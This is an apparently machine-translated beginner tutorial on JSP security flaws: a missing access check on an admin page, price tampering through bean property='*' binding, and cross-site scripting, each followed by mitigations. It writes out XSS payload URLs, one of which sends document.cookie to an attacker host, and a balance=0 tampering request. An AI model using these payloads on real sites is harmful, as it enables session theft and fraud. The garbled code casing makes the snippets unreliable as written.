js| Security | Programming Java Server page (JSP) as a technology to build dynamic Web pages is constantly heating up. JSP and ASP, PHP, working mechanism is not the same. In general, JSP pages are compiled, not interpreted, as they are executed. The first call to the JSP file is actually a process that compiles to a servlet. When the browser requests this JSP file from the server, the server will check whether the JSP file has changed since the last compilation, and if it does not change, execute the servlet directly without recompiling, thus the efficiency will be significantly improved.
Today I will be with you from a scripting point of view of the security of JSP, those such as source exposure classes of security risks are not covered in this article. The main purpose of writing this article is to beginners JSP programming friends to mention a wake up, from the beginning to cultivate the awareness of security programming, do not make mistakes, avoid the loss can be avoided. In addition, I am also a beginner, if there are errors or other comments please enlighten me.
First, not strict certification-low error
In the Overflow forum v1.12 revision, user_manager.jsp is the user Management page, the author knows its sensitivity, plus a lock:
if ((Session.getvalue ("UserName") ==null) ││ (Session.getvalue ("UserClass") ==null) ││
(! Session.getvalue ("UserClass"). Equals ("system Administrator"))
{
Response.sendredirect ("err.jsp?id=14");
Return
}
If you want to view, modify a user's information, you need to use modifyuser_manager.jsp this file. Admin Submit http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
is to view and modify the data for the user with ID 51 (the Administrator default User ID is 51). However, such an important document is lack of certification, ordinary users (including tourists) also directly submitted to the above request can also be at a glance (the password is also stored in clear text, display). Modifyuser_manage.jsp is also open to the portal until a malicious user completes the operation of the data update and redirects to user_manager.jsp to see the belated display of the wrong page. Obviously, only lock a door is not enough, programming time must take pains to each of the additional identity certification of the place plus identity authentication.
Second, keep a good javabean entrance
The core of the JSP component technology is the Java component called the Bean. Logic control, database operations in the program can be placed in the JavaBeans component, and then called in the JSP file, which can increase the clarity of the program and the reusability of the program. JSP pages are very concise compared to traditional ASP or PHP pages, as many dynamic page processing processes can be encapsulated into JavaBean.
To change the JavaBean property, use the tag. The following code is part of a hypothetical electronic shopping system's source code, which is used to display information in the user's shopping box, and checkout.jsp is used for checkout.
<jsp:usebean id= "Mybasket" class= "Basketbean" >
<jsp:setproperty name= "Mybasket" property= "*"/>
<jsp:useBean>
<body>
<p>
You have added the item
<jsp::getproperty name= "Mybasket" property= "NewItem"/>
to your basket.
<br/>
Your Total is $
<jsp::getproperty name= "Mybasket" property= "balance"/>
Proceed to <a href= "checkout.jsp" >checkout</a>
Did you notice the property= "*"? This indicates that the value of the entire variable that the user entered in the visible JSP page or submitted directly through query string is stored in the matching bean property.
In general, this is how the user submits the request: http://www.somesite.com/addToBasket.jsp?newItem=ITEM0105342 but the unruly user? They may submit: http://www.somesite.com/addToBasket.jsp?newItem=ITEM0105342&balance=0
In this way, the balance=0 information is stored in the JavaBean. When they click on the "Chekout" checkout, the cost is free.
This is the same as the security problems caused by global variables in PHP. This shows: "property=" * "must be used with caution!"
Three, the prosperous Cross station script
Cross-station scripting (Cross Site scripting) attack refers to the insertion of malicious JavaScript, VBScript, ActiveX, HTML, or flash scripts in the HTML code of a remote Web page, stealing the privacy of users browsing this page, Change the user's settings and destroy the user's data. Cross-site scripting attacks, in most cases, do not affect the operation of servers and web programs, but pose a serious threat to the security of clients.
Take the simplest example of the Beta-1 forum, an imitation network. When we submit Http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert (Document.cookie) You can pop up a dialog box that contains your own cookie information. and submitted http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location= ' http:// Www.163.com ' will be able to redirect to NetEase.
Because the script does not encode or filter malicious code when the value of the "name" variable is returned to the client, when the user accesses the embedded malicious "name" variable data link, the script code is executed on the user's browser, which can result in user privacy disclosure. For example, the following links:
Http://www.somesite.com/acjspbbs/dispuser.jsp? Name=someuser<;script>document.location= ' http://www.hackersite.com/xxx.xxx? ' +document.cookie
XXX.XXX is used to collect the following parameters, where the parameter specifies the Document.cookie, which is the cookie of the user accessing the link. In the ASP world, many people have been practicing the technology of stealing cookies to perfection. In the JSP, reading cookies is not difficult. Of course, cross-site scripting has never been limited to the function of stealing cookies, I believe we all have a certain understanding, here will not unfold.
The input and output of all dynamic pages should be encoded to a large extent to avoid cross-site scripting attacks. Unfortunately, coding for all of the data that is not reliable is resource intensive and has a performance impact on the WEB server. The usual method is to filter the input data, such as the following code to replace the dangerous characters:
<% String message = request.getparameter (' message ');
message = Message.replace (' < ', ' _ ');
message = Message.replace (' > ', ' _ ');
message = Message.replace (' "', ' _ ');
message = Message.replace (' \ ', ' _ ');
message = message.replace ('% ', ' _ ');
message = Message.replace ('; ', ' _ ');
message = Message.replace (' (', ' _ ');
message = Message.replace (') ', ' _ ');
message = Message.replace (' & ', ' _ ');
message = Message.replace (' + ', ' _ '); %>
A more positive approach is to use regular expressions to allow only the specified characters to be entered:
public boolean isvalidinput (String str)
{
if (Str.matches ("[a-z0-9]+")) return true;
else return false;
}
